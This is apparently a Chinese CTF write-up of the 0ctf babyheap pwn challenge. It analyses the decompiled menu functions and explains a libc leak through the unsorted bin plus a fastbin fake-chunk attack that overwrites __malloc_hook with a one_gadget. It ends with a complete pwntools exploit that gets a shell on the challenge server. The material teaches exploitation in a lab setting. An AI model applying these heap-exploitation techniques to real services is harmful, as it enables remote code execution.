不定期更新的WP-2

不知不觉,好像又鸽了快一个月没更新了2333虽说开学但是其实好像也没有很忙,可能就是一直在摸鱼。。。

题库链接

2018 0CTF Babyheap

这个题目做了我还算蛮久的,主要问题在于。。。它开的保护看懵了我orz

1
2
3
4
5
6
7
$ checksec babyheap_0ctf_2017 
[*] '/home/cmask/Desktop/babyheap_0ctf_2017'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

啊,太绿了(bushi

分析

打开程序,发现是个菜单类的题目。不过堆指针没有放在.bss段上,而是使用map开了一段内存来存放。程序功能如下:

分配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall func_create(__int64 a1)
{
signed int i; // [rsp+10h] [rbp-10h]
signed int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 15; ++i )
{
if ( !*(_DWORD *)(24LL * i + a1) )
{
printf("Size: ");
v2 = func_num();
if ( v2 > 0 )
{
if ( v2 > 4096 )
v2 = 4096; //限制大小
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
*(_DWORD *)(24LL * i + a1) = 1;
*(_QWORD *)(a1 + 24LL * i + 8) = v2;
*(_QWORD *)(a1 + 24LL * i + 16) = v3;
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}

每一项通过一个结构体保存,不过显然应该是没办法用到这个结构体了,因为是随机在内存中分配的。

不过,这里有个需要注意的地方,那就是程序通过calloc函数分配内存,这将导致分配的区域被清零

填充

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall func_fill(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = func_num();
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
result = *(unsigned int *)(24LL * (signed int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = func_num(); //这里有个任意长度写
v3 = result;
if ( (signed int)result > 0 )
{
printf("Content: ");
result = func_read_full(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}

可以发现,这里有个任意长度写的机会,这样就能通过堆溢出来实现各种可能的操作。

删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall func_delete(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = func_num();
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
result = *(unsigned int *)(24LL * (signed int)result + a1);
if ( (_DWORD)result == 1 )
{
*(_DWORD *)(24LL * v2 + a1) = 0;
*(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
free(*(void **)(24LL * v2 + a1 + 16));
result = 24LL * v2 + a1;
*(_QWORD *)(result + 16) = 0LL;
}
}
return result;
}

删除倒是没什么问题,指针都清零了。

显示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
signed int __fastcall func_dump(__int64 a1)
{
signed int result; // eax
signed int v2; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = func_num();
v2 = result;
if ( result >= 0 && result <= 15 )
{
result = *(_DWORD *)(24LL * result + a1);
if ( result == 1 )
{
puts("Content: ");
func_write_full(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
result = puts(byte_14F1);
}
}
return result;
}

会通过结构体的size字段来控制显示内容的大小。

利用

由于无法通过修改指针来改写值,所以只能使用别的办法,那就是,在unsorted bin中的chunk会保存指向main_arena某处的值。我们只需要泄露这个值,再通过main_arenalibc base的固定偏移,就能确定libc的基址。

那么我们的利用思路就是通过覆盖某个hook函数为one gadget来get shell。那么,如何覆盖呢。

这里用到一个小技巧,通过调试我们可以发现,在main arena的附近有__malloc_hook,这样我们就把目标定为修改__malloc_hookone gadget。然后,在__malloc_hook附近,又可以发现:

1.png

再分开一点看。。。

1
2
3
4
5
6
7
8
pwndbg> x/56xb 0x7f9023211af0
0x7f9023211af0 <_IO_wide_data_0+304>: 0x60 0x02 0x21 0x23 0x90 0x7f 0x00 0x00
0x7f9023211af8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7f9023211b00 <__memalign_hook>: 0x20 0x2e 0xed 0x22 0x90 0x7f 0x00 0x00
0x7f9023211b08 <__realloc_hook>: 0x00 0x2a 0xed 0x22 0x90 0x7f 0x00 0x00
0x7f9023211b10 <__malloc_hook>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7f9023211b18: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7f9023211b20 <main_arena>: 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00

可以发现,在0x7f9023211af5处,刚好有一串0x7f 0x00 0x00 0x00 0x00 0x00 0x00 0x00的字节,这转成QWORD正好就是0x7f,这样的话,就可以把这里作为fake chunksize字段,那么fake chunk的开头就是0x7f9023211af5 - 0x8的位置了。

那么如何把fake chunk分配出来呢?这就用到fast bin attack了,通过double free实现,注意分配的fastbin chunk大小需要满足为0x70就行。

这样,把fake chunk分配出来,然后修改__malloc_hookone gadget,在分配一次,就好了。

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/python
#-*- coding:utf-8 -*-
#Author: Critizero

from pwn import *
import sys
import LibcSearcher

if len(sys.argv) == 1 or sys.argv[1] == "g":
p = process("./babyheap_0ctf_2017")
if len(sys.argv) != 1:
gdb.attach(p)
else:
p = remote("pwn.buuoj.cn",20001)

elf = ELF("./babyheap_0ctf_2017",checksec=False)
context.log_level = "debug"

def menu(index):
p.recvuntil('Command: ')
p.sendline(str(index))

def create(size):
menu(1)
p.recvuntil('Size: ')
p.sendline(str(size))

def fill(index, size, context):
menu(2)
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Content: ')
p.sendline(context)

def free(index):
menu(3)
p.recvuntil('Index: ')
p.sendline(str(index))

def dump(index):
menu(4)
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Content: ')

def exit():
menu(5)

create(0x20) #0
create(0x20) #1
create(0x80) #2
create(0x20) #3
create(0x20) #4

fill(4, 8, '/bin/sh\x00')

#leak main_arena
payload = 'a'*0x20 + p64(0x0) + p64(0xc1)
fill(0, len(payload), payload)
free(1)
create(0xb0)
payload = 'a'*0x20 + p64(0) + p64(0x91)
fill(1, len(payload), payload)
free(2)

dump(1)
p.recvuntil(p64(0x91))
main_arena = u64(p.recv(8)) - 0x58
log.success('main_arena '+hex(main_arena))

#libc = ELF('./x64_libc.so.6')
libc_base = main_arena - 0x3c4b20
libc = LibcSearcher.LibcSearcher('read',0x7f3dc6304250)
sys_addr = libc_base + libc.dump('system')
malloc_hook = libc_base + libc.dump('__malloc_hook')
log.success('system '+hex(sys_addr))
log.success('malloc hook '+hex(malloc_hook))
offset = 27 + 8

one_gadget = libc_base + 0x4526a # 0x4526a

#change __free_hook
create(0x20) #2
create(0x20)
create(0x20)
create(0x20) #7
create(0x60) #8
create(0x20) #9

free(8)
payload = 'a'*0x20 + p64(0x0) + p64(0x71) + p64(malloc_hook - offset)
fill(7, len(payload), payload)
create(0x60)
create(0x60)

payload = '\x00'*0x13 + p64(one_gadget)
fill(10, len(payload), payload)

create(0x20)

p.interactive()